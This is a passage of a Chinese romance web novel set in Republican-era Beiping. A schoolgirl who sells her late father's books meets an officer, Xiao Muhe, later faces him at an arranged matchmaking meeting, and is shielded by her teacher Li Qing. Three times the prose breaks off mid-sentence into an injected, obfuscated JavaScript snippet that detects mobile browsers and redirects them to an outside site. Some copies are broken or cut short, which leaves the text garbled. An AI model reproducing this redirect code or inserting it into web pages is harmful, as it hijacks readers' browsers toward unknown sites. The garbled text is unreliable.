门边是两块玻璃,玻璃后陈放着几块玉饰,也不知是谁设计的,新颖却又赏心悦目,新潮但一点也不夸张。以前老北京的银楼可没这种风格的首饰,要么赶时髦,就得在金银首饰上整点西洋风,看起来多少不伦不类了。 姮音多看了几眼,王兰也跟着一起瞧,她说:“这家的首饰看着好,但是今天没带多少钱,阿音你要是喜欢,改天有空了,妈带你过来挑一件。” 姮音说:“不用的,我就是瞧瞧。” “姑娘家大了,总该有几件像样的首饰和衣裙,正经穿戴也好,做嫁妆也行,咱们家里还不缺给这些钱。” 姮音挽住妈妈的手臂,“好,听你的。” 她嘴上是这么说,心里却压根没当真,结婚嘛,催是催,真去结又是另一回事了。 姮音喜欢在上午摆摊,坐一会就回家,过了几日,陆续来了几个摆摊的大爷婶子,就在姮音旁边,一下就热闹多了。 姮音的书摊也总算有了点动静。虽然卖出去的不多,换回的铜板数一数也没多少,但她心里头还是很满足。 她还和几个一起摆摊的熟络起来,几个人有一搭没一搭地闲扯。 有的说:“这冬天,邪门了,比往年冷得多。我老寒腿,疼得钻心。” 另一个就接话茬:“哎呦,可不是么,今年的炕躺着都没去年热乎了。” 聊着聊着又回到姮音身上,问她在哪里上学,要不要考大学,以后要做什么,有没有心仪的小伙子。她们大多上了年纪,很稀罕姮音这个讨人喜欢的小闺女,夸她长得水灵,说她乖巧懂事,也有说她比自己家孩子聪明。 有个大爷,总揣着个水壶,时不时拧开壶盖,喝口热水,他最经常说的话就是,水能消百病,打喷嚏了喝热水,咳嗽了喝热水,头疼脑热了喝热水。 就是老被戳穿,说他家里的婆娘老是骂他,生病了不去喝药,喝个屁热水喝,怎么不喝中毒呢,搞得老大爷讪讪的,但是周围的人笑得很欢快。 他要是见姮音没热水了,就热情地招呼:“丫头,冻坏了吧,来,喝口热的暖暖。” 说着就拧开壶盖,往姮音带的碗里倒水,姮音笑眯眯地说谢谢,捧着碗小口小口喝。 又是雪天。 落了几日,终于彻底消停。 清晨,姮音拿了把大扫帚,从大门开始一点一点把积雪扫在两边,清出条勉强干净的小径。 她扫到前街口,给自己自己的书摊腾出地方,才回家把书过带来。这个时辰,还冷着呢,街上没什么人,她慢悠悠地把书摊开,蹲在地上一本紧着一本码。 刚把最后一本放好,摊子上就遮了片阴云,男人的脚步声无声无息,姮音还以为是来了客人,头也没抬,就说:“您瞧上什么了?” 他说:“我看看吧。” 声音有点熟悉,姮音这才抬眼。 他身形很高大,穿了身到膝盖的黑色大衣,领口竖着,遮住下颌,脚底下是双军靴,看着就价值不菲。通身是养尊处优的气派,活脱脱一个富贵人家出身的公子哥。可是姮音实在不记得在什么地方见过他。 年轻男人蹲了下来,他头上戴着顶貂皮帽子,帽檐压得有些低,姮音只能看到他挺直的鼻梁。他似乎真的在用目光挑拣着,任由姮音直白到无法忽视地打量他。 他伸出手,黑色皮手套,姮音心想,八成是真皮的,肯定暖和。指尖划过书脊,一本又一本,她盯着他的指尖,不知道他这样的大少爷,究竟会看什么书呢。 她还是觉得这人有些眼熟,像是在哪里见过,可他的貂皮帽挡住了视线,她看不清眉眼,一时又想不起来。 “给你的钱,不够用?” 他的声音轻轻落下来,像雪花一样。 让姮音平缓的心跳错乱起来。 自己的猜想还真没错,她就是见过这个人,她的手指抓紧了棉袄的袖口,屏住了呼吸,莫名紧张起来,却还盯着貂皮帽下面他露出的鼻梁和嘴唇。拂过书脊的手收了回来,像是才感觉到她的目光似的,他缓缓地抬起了头。 一张年轻而冷峻的脸庞。 眉峰锐利,眼窝深邃,他的眼睛看过来时,叫人不能直视。可是,他却笑了,向姮音展示出一个堪称温柔的笑。 是他把抚恤金交到自己手中,他告诉了姮音真相,还有那一句像是安慰,又像是夸赞一样的好孩子,仿佛重新在眼前重演了一次。姮音并不知道他的名字,那天匆忙,连他的长相也是模糊的。 现在他离自己很近,姮音把他的脸看得清楚,连带着那一天的记忆,也跟着一同清晰了。 认出他的身份,让姮音有些无措,该打招呼吗,还是说点别的什么,但是她又能和他说什么呢。他没穿军装,一身富少爷打扮,应该就是路过来买书的,自己何必搞得紧张兮兮的呢? 他穿着军装时,肩背挺直,不怒自威,可此刻,他一身冷硬的气息都松懈下来,随意地半蹲着,见姮音神情茫然,又去看她的书了,等着她自己缓过来。姮音说不上来这种感觉,只是觉得他倒像是个青年人,瞧着比姮音也大不了几岁,刚从军校毕业不久似的。 姮音半晌没应声,只睁着一双乌溜溜的眼睛望着自己,他又问:“怎么想着出来卖这些书。” “家里不缺钱用的,就是爸爸留下的书太多了,堆得满屋子都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389860|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我看完了,想着放着也是占地方,不如拿出来看看有没有人要买。”她干笑两声,“家里地方小嘛,放不下么多。” 她这可是实话实说,没有半分弄虚作假的。 说完,她这才瞥他一眼。 这个笑起来,气质介于青年和男人之间的人,他了然地点点头,似乎要站起来,从她的小摊子跟前离开了。难不成他不是来买书的,只是因为看到自己在这里蹲着吗,姮音心中飞快掠过一个疑问。 就在这时,一群年轻人从街对面的烟草店里走出来。 他们和他年纪相仿,有的还穿着军装,外面套着军用大衣,几分玩世不恭,几分傲视凛然,想必也是些军官。这些男人一眼就看到了凑在书摊前的萧牧河,顿时像发现了什么了不得的大事,立刻哄笑着围拢过来。 一个剃着平头的青年嗓门最大:“哟嗬,瞧瞧这是谁,咱们年轻有为的萧爷今儿,怎么了这是,太阳打西边出来了,不去练兵场,倒有闲情逸致搁这儿卖弄文雅了?” 他挤眉弄眼地靠近,忽然又大声说:“多新鲜呐,原来不是看书来了?” “我倒要看看咱们老萧是为什么来了?” 一个配合地问出来,另一个就紧跟着就做出恍然大悟的夸张表情,指着姮音,声音拖得长长的:“哦!我说呢,萧牧河,你这哪里是看书啊,怕不是看上这卖书的姑娘了吧?” 其他同伴也七嘴八舌地起哄,萧牧河不耐烦地说了声滚蛋,但完全没有威慑力,在男女之事上,这些人可不怕他的军衔。 甚至还有人呛他:“这可不是你萧牧河一贯的作风呢,承认了又不会掉块肉。” 慕和?还是木禾? 姮音在心里胡乱猜测着他的名字。 男人们却突然发出一阵心照不宣的哄笑,有人伸手要去拍萧牧河的肩膀,被他轻松侧身躲开了。姮音被他们突如其来的阵仗吓了一跳,她怯生生地看着,恨不得把整张脸躲进围巾。 不过他们虽然是军官,举手投足能看出不同寻常的英气,只是此刻,他们身上却有股与军人威严截然不同的少年意气,嬉笑打闹,不是传闻中那样令人畏惧,或许是因为年轻吧,年轻人总归有可取之处的。 萧牧河忽视了男人们鸭子一样嘎嘎嘎的难听小声,他脸上没什么表情,目光依旧落在书堆上。他又伸出手,只是迟疑了瞬间,终于停在本旧书上,轻轻一捏,把它抽了出来。封面上是竖排的两个字,《唐史》。 姮音看到,心里轻轻啊了一声。她怎么把这本装进来了,她还没来得及看完呢,他偏偏就正好看中这本了。话都要顺着嘴皮子蹦出来,又被她咽了回去。这怎么好意思开口要啊。看着它被萧牧河拿在手里,姮音心里还有点小小的不舍。 她鼓起勇气,说道:“这个送您了。” 话一出口,她又后悔了,觉得自己傻气得很,以他的身份,还能缺这点钱不成。 “老萧听到没?人家姑娘要送你呢。” 平头青年立刻抓住姮音的话,用到了打趣萧牧河这项难得一遇的奇事上,旁边也有人跃跃欲试,有的还想上前探问姮音的名字。 萧牧河的反应却很平淡。他甚至没有翻开书看一眼,只是拿在手里,另一只手从大衣口袋里掏出了几块银元,轻轻放在并排的书脊上。 萧牧河站起身,将书随意地夹在胳膊下。 他已经转身,要和同伴们离开,却又转头看了姮音一眼,视线刹那交汇,仿佛是错觉,仿佛是要记住什么,最后却是空无额徒劳。 他们渐行渐远,步子沉稳,踩在积雪覆盖的路面上,如履平地般自在。姮音还有些忐忑,怕他又会回头望过来。但这担心显然是多余的。 也是,谁都会有几个意料之外的相遇,不过是萍水相逢,他买他的书,她卖她的书,过几个月,恐怕再见面,彼此都要认不出了,何必又这么紧张呢? 她伸出手,把放在书脊上的银元拢在手心,做贼似的赶紧塞进口袋里,她把手放在兜里,半天没拔出来,生怕它们长了翅膀掉出来。 有了萧牧河给的钱,她还卖什么书,麻溜收拾好东西,看着包袱回去了。姮音到了家,把书又放回柴房,自从入了冬,怕被雪淋了,姮音自己撸袖子把书搬到柴房去了。她站在门边跺了跺脚,震掉鞋底的雪,才拉开门进屋。 王兰正在自己屋里缝补衣袖。东方英走后,虽然抚恤金够多,但她还是常去给胡同里家境稍好的人家帮工,做些缝补浆洗的零碎活计。 姮音走到妈妈面前,把银元拿出来,看到忽然冒出来的钱,王兰惊讶地问:“你这是哪来的?”她放下手里的针线活,疑惑地看着女儿。 姮音犹豫了一下。如果实话实说,提到他,恐怕又要勾起那天的伤心事。她干脆避重就轻地说:“有个路过的公子哥,买书的时候瞧着挺高兴的,顺手就多赏了我几个钱。” “这也太多了。” 王兰半信半疑,但她也没再多问,把钱拿起来,打开装着棉被的大箱子,最底下压着个钱袋子,这是她们家所有的积蓄,其中大多是萧牧河送来的抚恤金。她把袋子打开,把钱放进去。 她起身,望着女儿年轻的脸庞,这双眼睛是多么清澈。她心头一软,走过去轻轻抚摸着姮音的发顶,“你这孩子,运气总在这些地方打转,说坏吧,偏生能碰上这样的巧事,说好呢,偏又遭些飞来的横祸。” “以后都会好的。”姮音打断她。 她扬起一个笑容,说完就转身离开了,王兰站在原地,轻轻叹了口气。 4. 第四章 姮音对萧牧河的记忆仅限于这里,像是无意飘在掌心的落叶,姮音对于他,从来没有过丝毫期待。超出预料之中的,两年之后,现在他却噙着笑意,兴致盎然地和自己就相亲这件事,闲聊起来。 她忽然有些抽离。可是立刻,她的思绪就被萧牧河的声音扯了回来。 萧牧河说:“不见得。” 姮音疑惑,她是被媒婆带过来的,不是和她相看,还能是什么,总不能是给他家里洒扫卫生的吧。萧牧河又道:“你看起来不想来,所以我说,不见得。” 姮音在心中哀嚎一声,自己的不开心这么明显吗,难道真的看着很不情愿吗。 他坐在另一边,给自己倒了杯茶,姮音偷偷瞧他,见他看自己,又低下头。 萧牧河笑了笑,拿着茶杯推到她手边。姮音又看他一眼,小心翼翼拿起水杯,盯着茶水上飘着的几片叶子。 萧牧河问她:“你是为我而来的?” 姮音说:“是。” “谁让你来的?” 姮音说:“我妈妈,媒婆说你们是个大户人家。” 萧牧河记得她还是学生来着,才上高中,他的笑意消散,姮音察觉到他脸色不太好,差点没把整张脸塞进杯子里,萧牧河追问:“你不上学了?” 姮音说:“不知道。” 不上学了。如果自己真的被相中了,可能真的无法继续学业。她心里一片茫然。 “你今年多大?” 萧牧河注视着她满是脂粉也盖不住的青涩脸庞,姮音不敢不答:“快十八了。” 他上半身微微挺直。他端量着她,像是第一次真正去认识她这个人:“你知道我多大,又是做什么的吗?” 姮音摇头。 他也没发火,只是没了动静。厅堂里只能听见外面的蝉鸣,一声接着上一声的尾巴。姮音后背的汗意更重了,坐也不是,站起来吧,也不太好。 突然,啪地一声脆响。 他把手重重拍在桌上,把姮音吓得浑身一激灵。男人霍然起身,他的笑意早已消失,只剩下愤然。他大步朝厅外走去,姮音只来得及看到门外闪过的军靴。 他生气了。 姮音也吓傻了。 以为是自己说错话惹了他,或是他不满意自己,亦或是看不上这亲事。姮音本该觉得开心,她把自己捣鼓成这幅模样,不就是为了在相亲上添乱。怎么现在,自己却开心不起来呢。 厅堂里只剩她自己,过分的安静。 姮音呆坐着,把手里的茶放到一边,等着来人给她送出去。她在心里只期盼着一件事,就是别给她赶走。委实太凄惨了。 可脚步声竟又折返回来。 姮音眼睁睁看着萧牧河重新堵在门口,逆着光,看不清表情,只觉得一股迫人的气势压了过来。 萧牧河几步就跨到她面前,一把攥住了她的手腕。他的力道很大,几乎可以说是蛮力。姮音惊叫一声,简直要魂飞魄散,脑子里只剩下一个念头。 他要抓她。 她拼命往后缩,身体往后仰,想把自己的手腕从他的手里抽出来,另一只手慌乱地去掰他的手指,“放开!你放开我!” 萧牧河的怒气被她激烈的反应浇灭不少,手上力道也松了。他低头,正对上她惊惧的眼睛,这才意识到自己方才的举动有多吓人。 他松开了手,姮音立刻把手腕缩回胸前,紧紧护住,惊魂未定地看着他。 萧牧河弯下腰,高大的身躯微微前倾,尽量让自己的视线与她齐平。这个动作让他身上种迫人的气势减弱了不少。他看着她的眼睛,轻声说:“别怕,我不是要对你怎样。” 姮音揉着手腕,不说话。 萧牧河说:“我带你去问问个媒婆,她该说清楚,为何就两眼一抹黑把你强拉来做媒,难道你的钱被抢了偷了,还是北平的天塌了,你不继续念书,何苦早早和我这个不认识的人成亲。” 他紧盯着她,等着她的反应。 姮音先是怔住了,有点惊愕,慢慢又变成一个笑。她微笑着,脸上有了血色,很快她的笑意便翩然在脸上,明媚又活泼,最后索性放开了声音,像摇曳的铃铛。 她笑得前仰后合,萧牧河紧绷的情绪都被她突如其来的笑声打乱了。 “还笑?难道你喜欢嫁人?”他终于忍不住问,语气里是他自己都未察觉的微妙,“还是说你喜欢上我了?” 姮音摆摆手,看着他近在咫尺的大脸,别过头去。她起初是真的紧张,他说话太像审犯人了,步步紧逼,没有一点余地。可万万没想到,他突然发怒,拍案而起,居然是因为觉得自己是被迫来相亲,是受了委屈。 她是不情愿,从来不觉得委屈。 可怎么偏偏就是他呢。 姮音努力装出几分正经:“难道你们军爷,也管别人早婚吗?” 没等萧牧河开口,姮音实在忍不住,她用手背紧紧捂住嘴,另一只手则下意识地按在腰腹间,越想憋住越憋不住,脸上的脂粉也被笑出来的眼泪冲开。 他双手插进口袋里,站直身体,望向远方,可目光却不由自主地被跟前这个小姑娘牵回来。殷红的旗袍,像一团跳动的火。 他终于转过头,无可奈何道:“还笑,脸都花了。” 说着,他伸出手,轻轻捏住了她旗袍后领的丝绸料子,“你跟我来。” 姮音被他带着往前走,问他:“我们去哪啊?” 萧牧河说:“带你去洗洗脸,看看你现在脸上,红的白的混在一块儿,花得跟和猫似的。” 姮音拿手遮住自己的脸,又从指缝偷偷看他。萧牧河肩膀宽阔,另一只手还闲适地插在裤袋里。他嘴角带笑,剑眉星目,垂眼时锋芒顿去,倒有几分难得的温和。她不得不承认,萧牧河确实生的一副好皮囊,这媒婆也没亏了她。 她被带进一间屋子,应该是书房,到处是书籍和文件。萧牧河松开她的衣领,走到西北角,拿起一个脸盆,从旁边的暖水瓶里倒了温水进去,试了试水温,才叫姮音过来洗脸。 姮音这才放下捂着脸的手,她弯下腰掬起水泼在脸上,细细地揉搓着脸上的胭脂水粉。 萧牧河靠在旁边,静静地看着她。水声哗啦,湿透的鬓发贴在颊边,她紧闭着眼,脸蛋鼓囊囊的,他随手从旁边架子上抽下一条干净的毛巾,递了过去。 姮音正闭着眼摸索着找东西擦脸,感觉到有东西递到面前,也没想么多,下意识地接了过来。柔软的棉布毛巾上是阳光晒过的干燥气息,她胡乱地在脸上擦着,直到感觉清爽了才停下。 睁开眼,她呼出一口气,才看着手里被揉皱的毛巾,看向萧牧河,问:“这是谁的?” 萧牧河指了指自己。 姮音两手一抖,脸红透了,比刚才涂抹了胭脂时更甚,她拿也不是,扔也不是。 萧牧河好笑地把毛巾拿回来,搭在架子上,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姮音点头。她想了想,总归是躲过这一个,还有下一个。母亲的想法,她又不是不知道。她又说:“媒婆找的头一家就是您这样的,结果还吹了,后面再找,估计就很难成了,所以不必担心。” 她这话本意是好心。原本她就和萧牧河是两模两样的人,怎么看这婚事也很难成,她看一开始萧牧河也不情愿,自己这样说,也可以给他个推辞的借口,一举两得。 可听在萧牧河耳中,却让他不是滋味。 她是强装的镇定,是掩不住的委屈。身不由己,孤苦飘零,她站在这里,本身就是无声的控诉。 他往前跨了一步,挡住了她面前。 她抬头看他。 萧牧河恍惚恍惚,直到说出口,才发现自己说了什么荒唐话。他说:“我娶你,这门婚事我愿意。” 话音落下,才反应过来,冲动之下自己说了什么。心跳加快,自己却完全无法控制,虽然这话很荒唐,可是萧牧河并不想收回去。 姮音也慌了。她瞪大了眼睛,难以置信地看着他,仿佛他刚才说的不是人话。 脑袋里只剩下三个字在疯狂回荡。 我娶你。 她两腿发软,却硬是从他身侧狼狈地挤了出去,跌跌撞撞地沿着回廊往前跑,可是越往前走,萧牧河的目光就像是烙在后背似的,无论如何也摆脱不掉。 就在她跑到回廊尽头,眼前就是通往侧门的台阶,身后,萧牧河又喊了一声: “我娶你!” 5. 第五章 姮音站在回廊尽头的台阶上,转过身,一只手叉在腰侧,另一只手指着他:“萧牧河,你愿意娶,我还不愿意嫁呢。” 台阶下的萧牧河完全没料到她会是这样的反应。短暂的错愕之后,他笑出声来。 好一会儿,他才笑够,说:“骂得好。继续骂,我听着。” 姮音在心里骂他不要脸。 她浑然忘了自己怎么怕他的了,骂道:“你个登徒子,亏我刚才刚才还觉得你是个讲道理的人,你方才不是还要跟媒婆打抱不平,说什么我应该去上学吗,这才多大一会儿功夫,你就要反悔了,你这样的大官,你出尔反尔。” 她越说越气,和点燃的炮仗一样,萧牧河非但不恼,反而兴奋起来,他三步并两步跨上台阶,站到了与姮音平齐的位置。 他微微俯身,凑近了些,看着硬撑住气势不后退的姮音,坦然的像个无赖:“我本来就不是什么好人,你骂得对,登徒子就登徒子吧,你骂得高兴就行。” 姮音心想,他倒是直白。 忽然,脚步声和女子轻柔的谈笑声从回廊右侧的石头小径上传来。 姮音和萧牧河同时循声望去。 只见一位面容清隽的富家少爷,与两位穿着各色旗袍的女子正沿着小径缓缓走来。 走在最外侧的年轻男女手挽着手,姿态亲昵。男子穿着靛蓝绸缎长衫,戴着细框眼镜,右边女子则穿着月白色的改良旗袍,腰身收着,勾勒出窈窕的曲线。 姮音乍没认出来,看到穿月白旗袍的女子时候,她才想起来,自己看过报纸上他们的照片,所以才对他们有些印象,不过他们夫妻俩肯定不认识自己。 而走在另一侧的,姮音非但认识,还很熟悉。是李青,她在附中女校最喜欢,也最敬爱的国文老师。 没想到,这三人居然和萧牧河也相熟。 姮音一时不知该感叹什么是好。 李青也正望向这边,脸上原本温和的笑意淡去,取而代之的是惊疑不定的神色。 她困惑地问道:“姮音?” 原本斗志昂扬的姮音瞬间泄了气。她飞快地放下叉腰的手,双手有些无措地背在身后,只剩下被师长撞见的慌乱。她耷拉着脑袋,答道:“老师。” 李青问她:“你怎么会在这里?” 男人也对萧牧河问道:“牧河,你不是被姑父催促着去相亲了吗?” 萧牧河对着男子称呼一声表哥,又看了眼姮音,承认道:“是在相亲。” 李青听到相亲二字,又看到姮音这样子,联想到萧牧河的身份,还有他方才凑近姮音的姿态,她脸色一变,几步上前,将姮音从萧牧河身边拉开,护在自己身后。 她直视着萧牧河,说:“姮音已经被华京大学录取了,她有大好的前程,怎么能脑袋发了昏要去结婚?” 李青似乎气得有些说不下去。她当然是怕萧牧河仗势欺人,强占女学生。 姮音在李青身后,连忙解释:“老师,我没想真结婚,而且我和他也算认识的。” 她怕再不澄清,真要吵起来了。 李青听到她的话,神色稍稍缓和,但看向萧牧河的眼神依旧不怎么信任。她对被萧牧河称为表哥的男子说道:“灵毓,我先带我的学生走了。” 说完,她拉住姮音的手腕,带她离开了这个是非之地。 傅灵毓看着眼前这一幕,无奈叹气。 萧牧河站在原地,没有阻拦,也没有解释。他的目光越过表哥傅灵毓和表嫂阮月眉,紧紧追随着被李青拉走的姮音,依依不舍,直到她的身影彻底消失,才收回目光。 回廊下,只剩下三人。 阮月眉轻轻晃了晃挽着傅灵毓胳膊的手,俏皮道:“灵毓,你快瞧瞧你这位好表弟。” 见萧牧河仍在出神,她又调侃道:“先前你姑父催他相亲,他推三阻四,还要劳烦你这个表哥亲自来督阵,现在呢,啧啧啧。” 她夸张地摇了摇头,一只手轻轻按在自己心口的位置,做出西子捧心状,拉长了调子:“这下可好,心被人牵跑了,魂儿呀,也跟着人家小姑娘飞走咯。” 听到表嫂调侃,萧牧河摸摸鼻子。 傅灵毓被她这番打趣逗笑,轻轻拍了拍她的后腰,温声道:“月眉,你先去书房坐坐,喝杯茶歇歇脚。” 阮月眉心领神会,知道他们兄弟有话要说,转身朝书房方向走去。 傅灵毓对萧牧河说:“牧河,我记得你之前说过,眼下时局不稳,军务繁忙,根本无心成家,也不想耽误人家姑娘,是姑父催得紧,你才勉强答应相看。” “是,我确实说过。” 他不赞同道:“这又是怎么一回事,才见了一面,你就改了主意?” 萧牧河回答得干脆利落,没有半分犹豫:“我反悔了。” 傅灵毓看着眼前这个和自己关系亲近,甚至要超过亲弟弟的表弟,他功勋卓著,一腔热血,最是意气风发的时候。 他上头的哥姐两人都牺牲在战场上,长兄在北伐时战死,姐姐做情报工作,被人暗杀,最小的弟弟还在读书。萧司令的焦心,傅灵毓多少也知道。 他叹了口气,劝道:“姑父他盼着你早日成家,这份心,我能理解。你若是真遇到了心仪的女子,我这个做哥哥的,自然没有立场拦着你,反而要替你高兴。” 傅灵毓话锋一转,语气变得严肃,“可是,方才位小姐,我瞧着还是个孩子模样,分明是个在校的学生,你这般仓促决定,是否太过轻率?” 萧牧河听着,等傅灵毓说完,他才微微扬了扬下巴,抬手正了正自己帽檐,“表哥,你想到哪里去了,我在你眼里,就是般迂腐不通情理的人么。” 傅灵毓冷呵一声:“你不迂腐,可是你这德行我难道不清楚。” 萧牧河理所当然道:“她若愿意嫁我,我自然不会拦着她继续读书,她想读大学,想做什么学问,都随她,我娶她,又不是为了把她关在家里当个摆设。” 他这话倒显得自己方才的担忧有些多余,但傅灵毓还是有些迟疑:“牧河,你是真心喜欢那位姑娘?” 萧牧河没有立刻回答。他低低地笑了两声,他抬起手,又把帽檐往下压了压。他侧过身,似乎急于离开,语速也快了几分:“哥,司令部还有急事等着我处理,我得先走了。” 傅灵毓见他避而不答,还要走,连忙出声叫住他:“你等等,我这次来,也不全是为了你的事,还有你小弟呢。” 萧牧河已经迈出去的脚步顿住,“那小混蛋。他怎么了。” “他闹着要去考军校,姑父不同意,在家里僵着呢,姑父的意思是,让你这个当哥哥的,抽空打电话劝劝他,毕竟你也是军校出来的,你的话,他或许能听进去几分。” 萧牧河听完,沉默了几秒。 然后,他像是听到了什么无关紧要的事,重新抬步往外走,只丢下一句:“他自己的路,自己选,我这个当哥哥的,自己还被逼着相亲呢,没闲工夫管他,你替我回了吧。” 话音未落,他已经大步流星地离开了。 傅灵毓站在原地,心想这趟算是白跑了,还不如刚才就和青姐直接去咖啡馆坐坐,喝杯咖啡,聊聊闲天,也比在这里和这头倔驴讲道理强。 李青和姮音走出萧家大门,拐到街上,才放缓了脚步。 李青似乎想起什么,她站定转过身来。她看着姮音,伸出手,拂开姮音颊边散落的几缕碎发,然后绕到她身后。 姮音不明所以,有些局促地站着,任由李青摆弄着自己的头发。李青解开她的头发,把她为了显得庄重才盘起的发髻打散。乌黑的长发垂落肩头,李青的手指熟练地拢起她的长发,分成三股,快速地编成了一条粗粗的麻花辫。 “好了,这样看着顺眼多了。”李青退后一步,端详着自己的作品,“方才那样子,像是被做头发的坑了钱。” 姮音摸摸辫子,笑起来:“谢谢老师。” 两人一同走在街上,时不时闲聊两句。 李青说:“婚姻大事,古往今来,多少人都是父母之命,媒妁之言,就这么闭着眼睛,摸着黑,稀里糊涂凑合了一辈子。” 她望着姮音,“你不一样。你既然考上了华京大学,以后的路还长着,眼界也该开阔些,不要把自己困在些老旧的条条框框里。” 姮音仔细地听着李青的教诲。 “且不论婚姻本身是好是坏,值不值得,但你还这么年轻,人生刚刚开始,要选,也该选个自己心里真正喜欢的,足以托付终身的人,不是为了应付谁,也不是为了图个一时安稳。” 姮音心里五味杂陈。她其实对李青先生的过往有些好奇,总觉得她身上有种不同寻常的洒脱,想必也有自己的故事。但她知道分寸,这些私事不该打听。 她说:“我还以为老师会狠狠骂我一顿呢,骂我不务正业,胡思乱想。” 李青摇了摇头:“骂你做什么。” 姮音听了心中一暖。 “你喜欢读书,有天赋,也肯用功,原本就不是该被逼着嫁人的年纪。” 姮音笑着说:“我也是这样觉得。” 老师果真是她的知音,每句话都踩在她的心坎上。 李青想到宅子里的情形,继续道:“我先前担心他仗势欺人,逼迫于你,现在看来,你心里也还没想清楚,糊里糊涂的,是不是?” 姮音点了点头,心里有些发虚。 她确实是想两头抓,既不愿意放弃好不容易争取来的上学机会,又不想让妈妈日夜悬心,辜负了她独自支撑的辛苦。结果两头都没落好,相亲相得一团糟,还撞见了老师。 萧牧河句我娶你,忽然又在脑海回响,姮音脸上刚褪下去的热度又隐隐有回升的趋势,她下意识地抬手,用指背蹭了蹭脸颊,总觉得上面还留着什么刺挠的东西,让她怎么也不自在。 李青将她的小动作看在眼里,心中了然。 少女情怀,懵懂青涩,有些小心思再正常不过。她又不是种老古板,认为女孩子读了书就该清心寡欲,跟出家似的。她只是觉得,无论读书还是嫁人,路都要自己选。 李青说:“姮音,无论你将来遇到什么人,喜欢谁,或者因为什么原因嫁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389862|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁,都不能把自己放得太低,明白吗?” 她倒也不是想把姮音教成个多么清高的,可她见得多了,也知道这些行伍出身的男人几多薄情,只么零星有些痴情的人。 姮音是个单纯的孩子,她若是栽在里面,真就要遭了大罪,还不如让她在感情里强势一些,也好过被他牵着鼻子走。 “嗯,老师,我记住了。” 姮音时常觉得她们之间有很深厚的缘分。她喜欢李青说的话,做的事,她大概成为不了这样的潇洒的人,但是她会记住老师的话。 她的家里有好多东方英留下的书,她把能读懂的,一本本翻阅,重要的内容被她抄录下来。遇上深奥难解的,她就带到学校里去问李青老师。 李青老师是燕北大学附属女高的国文老师,也是姮音最喜爱的一位师长。 李青已经马上四十岁,从外表上只觉得她最多三十出头,她是一位新派知识女性,但这只是别人给她的评价,从姮音自己的观点来看,李青非常有智慧,所以她尤为喜欢听李老师讲话。 因为李青,姮音格外喜爱国文课,这份喜爱之中,也包含了对李青本人的崇拜。 姮音记得自己刚入学这天,第一堂就是国文。上课铃叮铃咣当敲响,教室里很嘈杂,门被从外面推开,抱着书走进来的李青身穿青色旗袍,脚下踩着双擦得很干净的旧皮鞋,长发蓬松地梳在脑后,像一朵半开半合的花苞。 李青走上讲台,吵闹的教室立刻安静下来。她身形清瘦,看着颧骨有些高,眼神清亮,乍一接触会被她干脆利落的讲话方式吓到,一位她是个不好相与的人,但很快就会发现她其实十分温和。 第一次点名,念到东方姮音的全名,她说:“东方姮音,姮娥的姮,知音的音。东方有月,月下有知音,真是好名字啊。” 姮音开心地举起手,生怕李青没有看到她坐在哪里,李青冲她笑笑,示意她把手放下手,又继续去点名了。 她的名字是爸爸取的,她知道姮取自传说中的月神姮娥,可爸爸在家除了和妈妈吵架,就是是沉默寡言,姮音记事起,他只教过姮音写自己的名字,却没有多做解释,姮音也就没有主动问过。 李青的话,她一直记得,有人夸她名字好听,姮音就会想起女校开学这天。 她的声音清越,讲课的时候从来不说废话,引经据典,条理清晰,学生们生怕走神一时片刻就听不懂之后讲的,所以在她的课上从来不敢走神,下了课她也不拖泥带水,把讲台上敞开的书抱在怀里,就潇洒地大步离开了。 姮音知道她不在学校的时候,通常会去哪里,那就是北平城东的公共图书馆。 这是一座旧式礼堂改造的,看起来洋里洋气,里头地儿特大,一排排书架上是各式各样的书,新的旧的,应有尽有。 借书的手续也简单,填一张登记表就行,没有课的日子,姮音常常背着书包来这里,一待就是大半天。 偶尔,在周末,她也能在这里遇见李青。 她经常穿的是样式简单的旗袍,颜色也很素净,并不是当下流行的款,她的头发天生就很蓬松,有时会烫些细小的卷儿,弯弯曲曲的小波浪,不过这些卷儿通常维持不了几天,很快又会变作原样。 她看书时很专注,姮音有时就坐在她斜对面的位置,如果不主动走到她旁边,轻轻喊一声老师,她根本察觉不到身边是有人站着的。 等到走出图书馆,李青才从书里的世界离开。她会从挎包里摸出纸烟和打火机,熟练地抽出一支细长的烟卷,用牙齿轻轻咬住,点燃后再慢慢顺着图书馆门前的石阶上走下去,微微眯着眼,或许在街上的车马行人,或许是在看天边的流云,任由青色烟雾掠过眼前,多么优游自在。 有时,姮音在走廊上,路过的老师们会提到她这位,文章写得好,人也个性,学校的会她要是不愿意去,天南海北也找不到,但是主任们拿她却一点办法也没的人。 